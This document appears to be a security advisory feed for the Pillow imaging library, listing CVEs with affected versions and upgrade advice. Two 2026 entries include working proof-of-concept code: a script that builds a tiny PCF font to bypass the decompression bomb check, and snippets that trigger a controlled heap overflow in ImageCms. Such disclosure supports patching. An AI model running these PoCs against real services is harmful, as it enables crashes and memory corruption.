Affected versions: ["8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Denial of Service vulnerability

Published date: 2023-11-03T06:36:30Z
CVE: CVE-2023-44271
Links:

An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument.

Affected versions: ["9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow command injection

Published date: 2022-05-17T04:45:39Z
CVE: CVE-2014-3007
Links:

Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.5.0 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py.

Affected versions: ["2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Published date: 2026-07-20T21:08:27Z
CVE: CVE-2026-54059
Links:

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227): python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output: [Image.open() path] BLOCKED by DecompressionBombError [*] PCF file size : 148 bytes [*] Glyph size : 14000 x 14000 = 196,000,000 pixels [*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed

Impact

  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Affected versions: ["12.2.0", "12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Out-of-bounds Write in Pillow

Published date: 2021-03-29T16:35:36Z
CVE: CVE-2021-25290
Links:

An issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.

Affected versions: ["8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Denial of Service by Uncontrolled Resource Consumption

Published date: 2021-03-18T19:54:43Z
CVE: CVE-2021-27923
Links:

Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large.

Affected versions: ["8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

Published date: 2026-07-20T23:19:00Z
CVE: CVE-2026-59205
Links:

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().

Affected versions: ["12.2.0", "12.1.1", "12.1.0", "12.0.0", "11.3.0", "11.2.1", "11.2.0", "11.1.0", "11.0.0", "10.4.0", "10.3.0", "10.2.0", "10.1.0", "10.0.1", "10.0.0", "9.5.0", "9.4.0", "9.3.0", "9.2.0", "9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow denial of service via Crafted Block Size

Published date: 2022-05-14T02:05:20Z
CVE: CVE-2014-3589
Links:

PIL/IcnsImagePlugin.py in Python Imaging Library (PIL) and Pillow before 2.3.2 and 2.5.x before 2.5.2 allows remote attackers to cause a denial of service via a crafted block size.

Affected versions: ["2.5.1", "2.5.0", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Out-of-bounds Read

Published date: 2021-03-18T19:55:41Z
CVE: CVE-2020-35653
Links:

In Pillow before 8.1.0, PcxDecode has a buffer over-read when decoding a crafted PCX file because the user-supplied stride value is trusted for buffer calculations.

Affected versions: ["8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow denial of service via PNG bomb

Published date: 2022-05-14T02:05:56Z
CVE: CVE-2014-9601
Links:

Pillow before 2.7.0 allows remote attackers to cause a denial of service via a compressed text chunk in a PNG image that has a large size when it is decompressed.

Affected versions: ["2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Buffer overflow in ImagingLibTiffDecode

Published date: 2018-07-24T20:03:51Z
CVE: CVE-2016-0740
Links:

Buffer overflow in the ImagingLibTiffDecode function in libImaging/TiffDecode.c in Pillow before 3.1.1 allows remote attackers to overwrite memory via a crafted TIFF file.

Affected versions: ["3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow Integer overflow in ImagingResampleHorizontal

Published date: 2018-07-24T20:15:48Z
CVE: CVE-2016-4009
Links:

Integer overflow in the ImagingResampleHorizontal function in libImaging/Resample.c in Pillow before 3.1.1 allows remote attackers to have unspecified impact via negative values of the new size, which triggers a heap-based buffer overflow.

Affected versions: ["3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow is vulnerable to Denial of Service (DOS) in the Jpeg2KImagePlugin

Published date: 2022-05-14T02:05:20Z
CVE: CVE-2014-3598
Links:

The Jpeg2KImagePlugin plugin in Pillow before 2.5.3 allows remote attackers to cause a denial of service via a crafted image.

Affected versions: ["2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

DOS attack in Pillow when processing specially crafted image files

Published date: 2019-10-22T14:40:42Z
CVE: CVE-2019-16865
Links:

An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image.

Affected versions: ["6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Uncontrolled Resource Consumption in pillow

Published date: 2021-04-23T16:54:36Z
Links:

Impact

Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large.

Patches

An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image.

Workarounds

An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image.

References

https://nvd.nist.gov/vuln/detail/CVE-2021-27921

For more information

If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address

Affected versions: ["8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow vulnerable to Data Amplification attack.

Published date: 2022-11-14T12:00:15Z
CVE: CVE-2022-45198
Links:

Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification).

Affected versions: ["9.1.1", "9.1.0", "9.0.1", "9.0.0", "8.4.0", "8.3.2", "8.3.1", "8.3.0", "8.2.0", "8.1.2", "8.1.1", "8.1.0", "8.0.1", "8.0.0", "7.2.0", "7.1.2", "7.1.1", "7.1.0", "7.0.0", "6.2.2", "6.2.1", "6.2.0", "6.1.0", "6.0.0", "5.4.1", "5.4.0", "5.4.0.dev0", "5.3.0", "5.2.0", "5.1.0", "5.0.0", "4.3.0", "4.2.1", "4.2.0", "4.1.1", "4.1.0", "4.0.0", "3.4.2", "3.4.1", "3.4.0", "3.3.3", "3.3.2", "3.3.1", "3.3.0", "3.2.0", "3.1.2", "3.1.1", "3.1.0", "3.1.0.rc1", "3.1.0rc1", "3.0.0", "2.9.0", "2.8.2", "2.8.1", "2.8.0", "2.7.0", "2.6.2", "2.6.1", "2.6.0", "2.5.3", "2.5.2", "2.5.1", "2.5.0", "2.4.0", "2.3.2", "2.3.1", "2.3.0", "2.2.2", "2.2.1", "2.2.0", "2.1.0", "2.0.0", "1.7.8", "1.7.7", "1.7.6", "1.7.5", "1.7.4", "1.7.3", "1.7.2", "1.7.1", "1.7.0", "1.6", "1.5", "1.4", "1.3", "1.2", "1.1", "1.0"]
Secure versions: [12.3.0, 13.0.0]
Recommendation: Update to version 13.0.0.

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

Published date: 2026-07-20T21:13:35Z
CVE: CVE-2026-55380
Links:

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
